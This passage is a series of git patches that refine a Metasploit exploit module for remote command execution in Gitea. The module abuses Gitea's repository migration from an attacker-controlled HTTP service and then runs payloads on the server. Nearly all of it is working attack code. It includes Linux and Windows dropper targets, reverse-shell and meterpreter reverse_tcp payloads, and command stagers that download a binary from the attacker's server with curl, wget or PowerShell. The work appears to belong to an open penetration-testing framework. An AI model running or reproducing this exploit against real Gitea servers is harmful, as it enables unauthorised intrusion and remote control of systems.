can\'t be blank') if datastore['username'].blank? @@ -123,13 +136,6 @@ def primer uid = gitea_create_repo(@repo_name) vprint_good('Repository created') - case target['Type'] - when :unix_cmd, :win_cmd - execute_command(payload.encoded) - when :linux_dropper - execute_cmdstager(background: true, delay: 1) - end - vprint_status('Migrating repository') clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" auth_token = rand_text_alphanumeric(6..15) @@ -138,9 +144,6 @@ def primer Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e - cleanup - res = gitea_remove_repo(repo_path(@repo_name)) - vprint_warning('Unable to remove repository') if res&.code != 302 fail_with(Failure::UnexpectedReply, e.message) end @@ -159,13 +162,17 @@ def exploit @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = repo_path(@migrate_repo_name) - Timeout.timeout(datastore['HTTPDELAY']) { super } - rescue Timeout::Error - [@repo_name, @migrate_repo_name].each do |name| - res = gitea_remove_repo(repo_path(name)) - vprint_warning('Unable to remove repository') if res&.code != 302 + start_service + primer + + case target['Type'] + when :unix_cmd, :win_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager(background: true, delay: 1) end - cleanup # removing all resources + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e From 13bb31feeb556dfecd123b085c791c5d4d7fb879 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 04:52:18 +0700 Subject: [PATCH 27/31] Update module - move repository migration to execute_command. NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review. --- .../core/exploit/remote/http/gitea/error.rb | 2 +- .../multi/http/gitea_git_fetch_rce.rb | 22 ++++++++++++------- 2 files changed, 15 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/error.rb b/lib/msf/core/exploit/remote/http/gitea/error.rb index d066a244e6b7..648c087ecb60 100644 --- a/lib/msf/core/exploit/remote/http/gitea/error.rb +++ b/lib/msf/core/exploit/remote/http/gitea/error.rb @@ -21,7 +21,7 @@ def initialize class MigrationError < WebError def initialize(message) - super(message: "Unable to migrate repo: #{message}") + super(message: message) end end diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index bb0539e01e8f..22b6971f0a75 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -133,23 +133,29 @@ def primer ].each { |uri| hardcoded_uripath(uri) } # adding resources vprint_status("Creating repository \"#{@repo_name}\"") - uid = gitea_create_repo(@repo_name) + @uid = gitea_create_repo(@repo_name) vprint_good('Repository created') - - vprint_status('Migrating repository') - clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" - auth_token = rand_text_alphanumeric(6..15) - gitea_migrate_repo(@migrate_repo_name, uid, clone_url, auth_token) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError, Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) - rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e - fail_with(Failure::UnexpectedReply, e.message) end def execute_command(cmd, _opts = {}) print_status("Executing command: #{cmd}") @p = cmd + vprint_status('Migrating repository') + clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" + auth_token = rand_text_alphanumeric(6..15) + gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token) + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e + stageless = datastore['payload'].split('/').last.include?('meterpreter_') + if e.message.include?('already used') && stageless + gitea_remove_repo(repo_path(@migrate_repo_name)) + sleep(1) + retry + else + fail_with(Failure::UnexpectedReply, e.message) + end end def exploit From 639afebe1e687915a59dcd2ef8598017cb0c93e6 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 16:12:20 +0700 Subject: [PATCH 28/31] Update module - handle cleanup method on manual `check` - adjust targets flavour option - add :win_dropper target and handle the payload delivery NOTE: the Windows dropper target is still unsuccessfull but keep this for further review --- .../multi/http/gitea_git_fetch_rce.rb | 23 ++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 22b6971f0a75..145ae2f409a2 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -54,8 +54,8 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, + 'CmdStagerFlavor' => :bourne, 'DefaultOptions' => { - 'CMDSTAGER::FLAVOR' => :bourne, 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } @@ -70,6 +70,19 @@ def initialize(info = {}) 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } + ], + [ + 'Windows Dropper', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :win_dropper, + 'CmdStagerFlavor' => [ 'psh_invokewebrequest' ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', + 'CMDSTAGER::URIPATH' => '/payloads' + } + } ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, @@ -92,6 +105,8 @@ def initialize(info = {}) def cleanup super + return if @uid.nil? || @migrate_repo_created.nil? + [@repo_name, @migrate_repo_name].each do |name| res = gitea_remove_repo(repo_path(name)) if res.nil? || res&.code == 200 @@ -146,7 +161,7 @@ def execute_command(cmd, _opts = {}) vprint_status('Migrating repository') clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" auth_token = rand_text_alphanumeric(6..15) - gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token) + @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token) rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e stageless = datastore['payload'].split('/').last.include?('meterpreter_') if e.message.include?('already used') && stageless @@ -174,7 +189,7 @@ def exploit case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded) - when :linux_dropper + when :linux_dropper, :win_dropper execute_cmdstager(background: true, delay: 1) end rescue Timeout::Error => e @@ -225,6 +240,8 @@ def on_request_uri(cli, req) } ] send_response(cli, data.to_json) + else # this is lazy, the default is /payloads but we can't control what would user set in CMDSTAGER::URIPATH + send_response(cli, exe) end end end From 645a1c25a39112f3895b67bed6131134f7c4730f Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Wed, 9 Nov 2022 16:27:31 +0700 Subject: [PATCH 29/31] Update method documentation and indentation --- lib/msf/core/exploit/remote/http/gitea/base.rb | 4 ++-- .../core/exploit/remote/http/gitea/repository.rb | 14 ++++++++------ 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/base.rb b/lib/msf/core/exploit/remote/http/gitea/base.rb index 08ebd31de81e..f8c51ab1e9ab 100644 --- a/lib/msf/core/exploit/remote/http/gitea/base.rb +++ b/lib/msf/core/exploit/remote/http/gitea/base.rb @@ -3,8 +3,8 @@ module Msf::Exploit::Remote::HTTP::Gitea::Base # Checks if the site is online and running gitea # - # @return [String,nil] if the site is online and running gitea, nil - # otherwise + # @return [String,nil] if the site is online and running gitea, nil or raise + # UnknownError, VersionError and ::Rex exceptions otherwise def get_gitea_version unless datastore['GITEACHECK'] vprint_status 'Skipping Gitea check...' diff --git a/lib/msf/core/exploit/remote/http/gitea/repository.rb b/lib/msf/core/exploit/remote/http/gitea/repository.rb index 5f21ef790f62..d3c1414264b5 100644 --- a/lib/msf/core/exploit/remote/http/gitea/repository.rb +++ b/lib/msf/core/exploit/remote/http/gitea/repository.rb @@ -5,9 +5,9 @@ module Msf::Exploit::Remote::HTTP::Gitea::Repository # # @param name [String] Repository name # @param timeout [Integer] The maximum number of seconds to wait before the - # request times out + # request times out # @return [uid,nil] the repository uid as a single string on successful - # creation, nil otherwise + # creation, nil or raise RepositoryError and CsrfError otherwise def gitea_create_repo(name, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_repo_create, @@ -36,9 +36,9 @@ def gitea_create_repo(name, timeout = 20) # @param name [String] Repository name # @param name [String] Repository uid # @param timeout [Integer] The maximum number of seconds to wait before the - # request times out + # request times out # @return [Rex::Proto::Http::Response, MigrationError] the HTTP response - # object on successful migration, raise MigrationError otherwise + # object on successful migration, raise MigrationError otherwise def gitea_migrate_repo(name, uid, url, token, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_repo_migrate, @@ -74,8 +74,9 @@ def gitea_migrate_repo(name, uid, url, token, timeout = 20) # # @param path [String] Repository path (/username/reponame) # @param timeout [Integer] The maximum number of seconds to wait before the - # request times out - # @return [Rex::Proto::Http::Response] the HTTP response object + # request times out + # @return [Rex::Proto::Http::Response] the HTTP response object or raise + # CsrfError otherwise def gitea_remove_repo(path, timeout = 20) uri = gitea_url_repo_settings(path) res = send_request_cgi({ @@ -83,6 +84,7 @@ def gitea_remove_repo(path, timeout = 20) 'keep_cookies' => true }, timeout) return nil unless res + return res if res&.code == 404 # return res if 404 to handling cleanup csrf = gitea_get_csrf(res) raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf From cbca2a560462a81078b5a929b79e796ee26cfca5 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Tue, 15 Nov 2022 22:17:59 +0700 Subject: [PATCH 30/31] Update modules/exploits/multi/http/gitea_git_fetch_rce.rb apply suggestion Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- modules/exploits/multi/http/gitea_git_fetch_rce.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 145ae2f409a2..29f1865bfef2 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -240,8 +240,9 @@ def on_request_uri(cli, req) } ] send_response(cli, data.to_json) - else # this is lazy, the default is /payloads but we can't control what would user set in CMDSTAGER::URIPATH - send_response(cli, exe) + when datastore['CMDSTAGER::URIPATH'] + super + end end end end From 1ddc137f1a5be866e387b5744929a8820ca4a76e Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Tue, 15 Nov 2022 22:30:45 +0700 Subject: [PATCH 31/31] Update module - adjust execute_command method and add logic for :win_dropper target - move cmdstager uripath setting into target case statement - add more cmdstagerflavour for :linux_dropper target - fix lint msftidy --- .../multi/http/gitea_git_fetch_rce.rb | 41 ++++++++----------- 1 file changed, 18 insertions(+), 23 deletions(-) diff --git a/modules/exploits/multi/http/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb index 29f1865bfef2..dc3cb7c5c2b2 100644 --- a/modules/exploits/multi/http/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -54,7 +54,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, - 'CmdStagerFlavor' => :bourne, + 'CmdStagerFlavor' => %i[curl wget echo printf], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } @@ -146,31 +146,30 @@ def primer "/api/v1/repos/#{@migrate_repo_path}/pulls", "/api/v1/repos/#{@migrate_repo_path}/topics" ].each { |uri| hardcoded_uripath(uri) } # adding resources + end + + def execute_command(cmd, _opts = {}) + if target['Type'] == :win_dropper + cmd = cmd.gsub(/%(\w+)%/) { "$#{::Regexp.last_match(1)}" }.gsub(/&/) { '&&' }.gsub(/\\/) { '\\\\\\' } + end + vprint_status("Executing command: #{cmd}") + + @repo_name = rand_text_alphanumeric(6..15) + @migrate_repo_name = rand_text_alphanumeric(6..15) + @migrate_repo_path = repo_path(@migrate_repo_name) vprint_status("Creating repository \"#{@repo_name}\"") @uid = gitea_create_repo(@repo_name) vprint_good('Repository created') - rescue Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError, - Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e - fail_with(Failure::UnexpectedReply, e.message) - end - - def execute_command(cmd, _opts = {}) - print_status("Executing command: #{cmd}") - @p = cmd vprint_status('Migrating repository') clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" auth_token = rand_text_alphanumeric(6..15) @migrate_repo_created = gitea_migrate_repo(@migrate_repo_name, @uid, clone_url, auth_token) - rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e - stageless = datastore['payload'].split('/').last.include?('meterpreter_') - if e.message.include?('already used') && stageless - gitea_remove_repo(repo_path(@migrate_repo_name)) - sleep(1) - retry - else - fail_with(Failure::UnexpectedReply, e.message) - end + @p = cmd + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError, + Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError, + Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e + fail_with(Failure::UnexpectedReply, e.message) end def exploit @@ -179,10 +178,6 @@ def exploit gitea_login(datastore['username'], datastore['password']) end - @repo_name = rand_text_alphanumeric(6..15) - @migrate_repo_name = rand_text_alphanumeric(6..15) - @migrate_repo_path = repo_path(@migrate_repo_name) - start_service primer @@ -190,6 +185,7 @@ def exploit when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper, :win_dropper + datastore['CMDSTAGER::URIPATH'] = "/#{rand_text_alphanumeric(6..15)}" execute_cmdstager(background: true, delay: 1) end rescue Timeout::Error => e @@ -243,6 +239,5 @@ def on_request_uri(cli, req) when datastore['CMDSTAGER::URIPATH'] super end - end end end